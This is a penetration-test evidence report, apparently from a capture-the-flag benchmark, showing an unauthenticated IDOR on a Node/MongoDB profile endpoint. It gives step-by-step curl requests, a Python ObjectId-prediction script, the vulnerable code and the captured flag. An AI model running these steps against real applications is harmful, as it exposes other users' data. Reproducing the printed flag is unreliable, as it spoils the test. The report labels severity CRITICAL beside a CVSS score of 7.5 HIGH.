# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Complete Authorization Bypass via Horizontal IDOR

**Summary:**
- **Vulnerable location:** `GET /profile/:id` endpoint at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-099-24/app/server.js:202-215`
- **Overview:** The profile endpoint accepts a MongoDB ObjectId parameter and returns user profile data without ANY authentication or authorization check. This allows completely unauthenticated attackers to access any user's profile by manipulating the ObjectId parameter, including the first user's profile which contains the CTF flag.
- **Impact:** 
  - **Critical Data Breach**: Retrieved CTF flag from first user's profile
  - **Horizontal Privilege Escalation**: Access to all users' profile information (usernames, creation timestamps)
  - **Complete Authentication Bypass**: No credentials or session required
  - **User Enumeration**: Valid ObjectIds return profile data, invalid ones return 404
- **Severity:** **CRITICAL**

**Prerequisites:**
None required for basic exploitation. For advanced ObjectId prediction attack:
- HTTP access to `http://localhost:3000`
- Basic command-line tools (curl)
- Python 3 (for ObjectId calculation in advanced method)

**Exploitation Steps:**

**Method 1: Direct Access via Known Credentials (Simplified)**

1. **Obtain first user's ObjectId through login redirect:**
   ```bash
   curl -s -X POST http://localhost:3000/login \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=user0&password=1b2e97s80wb7d08n-" 2>&1 \
     | grep -o 'profile/[a-f0-9]*'
   ```
   **Expected Output:** `profile/6902bf01e1d1472e60dbc497` (ObjectId will vary based on server start time)

2. **Exploit IDOR to access first user's profile without authentication:**
   ```bash
   curl -s http://localhost:3000/profile/6902bf01e1d1472e60dbc497
   ```
   **Expected Output:**
   ```html
   <h1>Welcome, user0</h1>
   <p>1st user to register here was at: 2025-10-30T01:27:29.000Z (Unix timestamp: 1761787649)</p>
   <p>FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}</p>
   ```

**Method 2: ObjectId Prediction Attack (Advanced - No Credentials Required)**

1. **Retrieve server start timestamp:**
   ```bash
   curl -s http://localhost:3000/starttime
   ```
   **Example Output:** `1761787649`

2. **Register a test account to obtain ObjectId structure information:**
   ```bash
   curl -s -X POST http://localhost:3000/register \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=testuser_123456&password=testpass123"
   ```
   **Example Output:**
   ```json
   {
     "userId":"6902bf1de1d1472e60dbc4a1",
     "userNumber":3,
     "message":"User created successfully. Total users: 3",
     "distance":10
   }
   ```

3. **Calculate first user's ObjectId using disclosed information:**
   ```python
   # Extract values from previous steps
   timestamp = 1761787649  # From step 1
   my_objectid = "6902bf1de1d1472e60dbc4a1"  # From step 2
   distance = 10  # From step 2
   
   # Calculate first user's ObjectId
   timestamp_hex = hex(timestamp)[2:].zfill(8)  # First 8 chars
   random_value = my_objectid[8:18]  # Middle 10 chars (same machine)
   my_counter = int(my_objectid[18:24], 16)  # Last 6 chars
   first_counter = my_counter - distance
   first_counter_hex = hex(first_counter)[2:].zfill(6)
   
   first_user_objectid = timestamp_hex + random_value + first_counter_hex
   print(first_user_objectid)
   # Output: 6902bf01e1d1472e60dbc497
   ```

4. **Access first user's profile using calculated ObjectId:**
   ```bash
   curl -s http://localhost:3000/profile/6902bf01e1d1472e60dbc497
   ```
   **Expected Output:**
   ```html
   <h1>Welcome, user0</h1>
   <p>1st user to register here was at: 2025-10-30T01:27:29.000Z (Unix timestamp: 1761787649)</p>
   <p>FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}</p>
   ```

**Proof of Impact:**

**1. CTF Flag Retrieved:**
```
FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}
```

**2. Complete Authorization Bypass Confirmed:**
- ✅ No HTTP 401 Unauthorized response (no authentication check exists)
- ✅ No HTTP 403 Forbidden response (no authorization check exists)
- ✅ No session cookie required (verified with fresh curl requests)
- ✅ Direct database query using user-controlled `req.params.id` parameter
- ✅ Any valid MongoDB ObjectId returns corresponding user's profile data

**3. Horizontal Privilege Escalation Demonstrated:**

Created test victim user and accessed their profile without authentication:
```bash
# Register victim user
curl -s -X POST http://localhost:3000/register \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=victim_user&password=victim_password"
# Response: {"userId":"6902bf32e1d1472e60dbc4b1", ...}

# Access victim's profile without authentication
curl -s http://localhost:3000/profile/6902bf32e1d1472e60dbc4b1
# Response: <h1>Welcome, victim_user</h1>
```

**4. Information Disclosure Chain:**

The vulnerability is compounded by multiple information disclosure endpoints:
- `/starttime` - Exposes exact server start timestamp (enables ObjectId prediction)
- `/info` - Exposes total user count and formatted timestamp
- `POST /register` response - Returns ObjectId and "distance" metric revealing counter increment

This information disclosure chain allows attackers to mathematically calculate the first user's ObjectId without requiring ANY credentials.

**Notes:**

**Root Cause Analysis:**
- The `GET /profile/:id` endpoint at line 202 has NO middleware protection
- Line 203 directly executes `User.findById(req.params.id)` with user-controlled input
- NO authentication check exists (no session validation)
- NO authorization check exists (no ownership verification)
- NO guard exists between route handler and database query

**Code Evidence:**
```javascript
// Lines 202-215 - Complete absence of authorization
app.get('/profile/:id', async (req, res) => {
    const user = await User.findById(req.params.id);  // ← No auth check!
    if (!user) {
        return res.status(404).send('User not found');
    }
    
    res.send(`
        <h1>Welcome, ${user.username}</h1>
        ${user._id.toString() == firstUserId ? '<p>' + flag + '</p>' : '-'}
    `);
});
```

**Security Implications:**
- Application has ZERO session management infrastructure
- NO authentication middleware exists anywhere in the codebase
- Login simply redirects to profile URL without creating any authentication artifact
- The URL itself becomes the only "authentication" mechanism

**Exploitation Complexity:** TRIVIAL
- Requires only basic HTTP requests
- No specialized tools needed (curl/browser sufficient)
- Exploitable by completely unauthenticated external attackers
- Two exploitation methods demonstrated (direct access and ObjectId prediction)

**CVSS 3.1 Score:** 7.5 HIGH
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
